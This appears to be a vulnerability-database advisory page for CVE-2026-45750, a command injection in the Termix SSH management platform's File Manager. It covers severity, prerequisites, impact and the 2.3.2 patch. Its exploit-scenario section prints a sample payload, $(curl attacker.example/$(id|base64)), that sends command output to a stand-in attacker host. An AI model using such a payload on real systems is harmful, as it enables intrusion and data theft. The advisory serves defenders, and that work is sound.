Skip to main content

Termix EUVDEUVD-2026-34878

| CVE-2026-45750 CRITICAL
OS Command Injection (CWE-78)
2026-06-05 GitHub_M
9.0
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Termix web UI
  2. Delivery
    Open SSH session to target host
  3. Exploit
    Send crafted resolvePath request with $(...) payload
  4. Install
    Termix embeds path in shell command
  5. C2
    Remote shell evaluates command substitution
  6. Execute
    Attacker command executes on managed host
  7. Impact
    Pivot across all Termix-connected servers

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

An attacker needs a valid Termix account with permission to use the File Manager component and an already-established SSH session to a target host (PR:L plus UI:R in the CVSS vector reflect this prerequisite). Termix must be running a vulnerable version below 2.3.2 with the file manager feature enabled, and the attacker must be able to reach the /ssh/file_manager/ssh/resolvePath endpoint over the network. Exploitation is limited by these factors: it is not anonymous, it requires the targeted SSH connection to be active during the attack, and the resulting command runs as the SSH user configured in Termix rather than necessarily as root.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H produces a 9.0 score driven primarily by the changed scope: the vulnerable Termix web component executes the injected command on a different security authority (the remote SSH host), so a compromise of one Termix tenant can pivot into every connected server. Exploitation requires low-privilege authentication to Termix (PR:L) and some user interaction (UI:R), which moderates the practical threat compared to a fully unauthenticated RCE. There is no EPSS score, no CISA KEV listing, and no public proof-of-concept indicated in the provided data, so risk today appears bounded to environments where untrusted or low-trust users hold Termix accounts; however, the trivial nature of $(...) injection means exploit code is straightforward to derive from the advisory text once attention is drawn to it.

Exploit ScenarioDerived

A low-privilege Termix user with access to the File Manager component crafts a request to GET /ssh/file_manager/ssh/resolvePath where the path parameter contains a $(...) substitution such as $(curl attacker.example/$(id|base64)). When Termix opens the active SSH session and embeds the value inside the double-quoted shell command, the remote shell evaluates the substitution and executes the attacker's command on the managed host. The attacker thereby pivots from a Termix account into arbitrary command execution on every SSH host the victim session has access to.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 05, 2026

Command injection in Termix server management platform before version 2.3.2 allows authenticated users to execute arbitrary shell commands on remote SSH-managed hosts via the File Manager's resolvePath endpoint. The flaw stems from incomplete shell escaping that only handles double quotes while leaving command substitution syntax interpretable. No public exploit identified at time of analysis, but the GitHub Security Advisory (GHSA-v26q-rpv5-9m72) and CVSS 9.0 rating signal high impact across confidentiality, integrity, and availability of downstream SSH targets.

RemediationAI

Vendor-released patch: upgrade Termix to version 2.3.2 or later, available from https://github.com/Termix-SSH/Termix/releases/tag/release-2.3.2-tag for Windows, Linux (x64 and ARM64), and macOS. Until the upgrade is applied, restrict Termix accounts to fully trusted operators only, block external network reach to the Termix web UI via firewall or reverse-proxy ACLs, and avoid configuring SSH credentials for high-value hosts inside Termix because any logged-in user can pivot through the file manager; note these controls reduce but do not eliminate insider risk and break legitimate multi-user collaboration workflows. Review the GitHub Security Advisory GHSA-v26q-rpv5-9m72 for any additional vendor guidance.

Affected VersionsENISA

Termix < 2.3.2

Affected Packages

euvd termix fix: 2.3.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Termix (cpe:2.3:a:termix-ssh:termix) is a web-based SSH management platform providing browser-accessible terminal, tunneling, and file editing functionality against remote hosts. The vulnerability is a classic CWE-78 (OS Command Injection) where the GET /ssh/file_manager/ssh/resolvePath handler takes a user-supplied 'path' parameter and concatenates it into a shell command string sent over an active SSH session. The sanitizer escapes only double quote characters but leaves shell metacharacters such as $(...) untouched, so command substitution executes on the remote host even though the value sits inside a double-quoted argument - a textbook example of insufficient shell-metacharacter neutralization.

Know when Termix gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.0 CRITICAL
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

1
Patch available
Jun 05, 2026 - 20:02 EUVD

DescriptionGitHub Advisory

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.3.2, the GET /ssh/file_manager/ssh/resolvePath endpoint in the Termix File Manager component unsafely processes the path parameter and embeds it into a shell command executed over the active SSH session. Because the user-controlled value is placed inside double quotes and only double quotes are escaped, shell command substitution syntax such as $(...) is still interpreted by the remote shell. Version 2.3.2 fixes the issue.

Executive ViewAI

Why It Matters

Termix server management platform versions before 2.3.2 contain a critical command injection flaw in the File Manager's resolvePath endpoint that allows authenticated users to execute arbitrary shell commands on managed SSH infrastructure. No public exploit identified at time of analysis, but the vulnerability exposes all downstream servers under Termix management to full compromise-posing direct risk to confidentiality, integrity, and availability of critical infrastructure.

Business Impact: Severe
Compensating Controls

Network segmentation restricting Termix File Manager access to administrative VLANs; administrative access controls limiting resolvePath endpoint to specific named users; disable File Manager functionality if not operationally required; implement real-time monitoring and alerting on all File Manager operations; isolate SSH-managed hosts to limit lateral movement if Termix is compromised; establish incident response procedures for potential command execution through this vector.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Social Media
2
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +45
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Termix

View all
CVE-2025-59951 CRITICAL POC
9.2 Oct 01

Unauthenticated attackers can retrieve stored SSH host credentials - including addresses, usernames, and passwords - fro

CVE-2026-22804 HIGH POC
8.0 Jan 12

Stored XSS in Termix File Manager (versions 1.7.0-1.9.0) allows attackers with SSH server access to execute arbitrary Ja

CVE-2026-45744 CRITICAL
9.9 Jun 05

Remote command execution in Termix web-based server management platform (versions prior to 2.3.2) allows any authenticat

CVE-2026-42454 CRITICAL
9.9 May 08

Remote code execution in Termix (self-hosted web-based server management platform) before version 2.1.0 lets an authenti

CVE-2026-53545 CRITICAL
9.8 Aug 19

OS command injection in Termix (self-hosted web SSH/tunneling platform) before 2.3.2 lets an authenticated user who can

CVE-2026-45748 CRITICAL
9.8 Jun 05

OS command injection in Termix web-based server management platform prior to version 2.3.2 allows remote unauthenticated

CVE-2026-53546 CRITICAL
9.6 Aug 19

Cross-user SSH credential disclosure in Termix, a self-hosted web server-management platform, allows an authenticated lo

CVE-2026-53548 CRITICAL
9.6 Aug 19

Broken authorization in Termix (self-hosted web-based SSH/server management platform) before 2.6.1 lets any authenticate

CVE-2026-79766 CRITICAL
9.1 Sep 24

Command injection in Termix 2.4.1 through 2.5.0 lets an authenticated administrator execute arbitrary operating-system c

CVE-2026-45746 CRITICAL
9.0 Jun 05

Cross-tenant remote code execution in Termix (web-based SSH/file management platform) prior to version 2.3.2 allows an a

CVE-2026-53542 HIGH
8.8 Aug 19

Remote command injection in Termix, a web-based SSH server management platform, allows any authenticated user with file-

CVE-2026-53547 HIGH
8.8 Aug 19

Unauthorized data exposure in Termix prior to 2.3.2 allows a low-privileged authenticated user to exfiltrate password-re

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy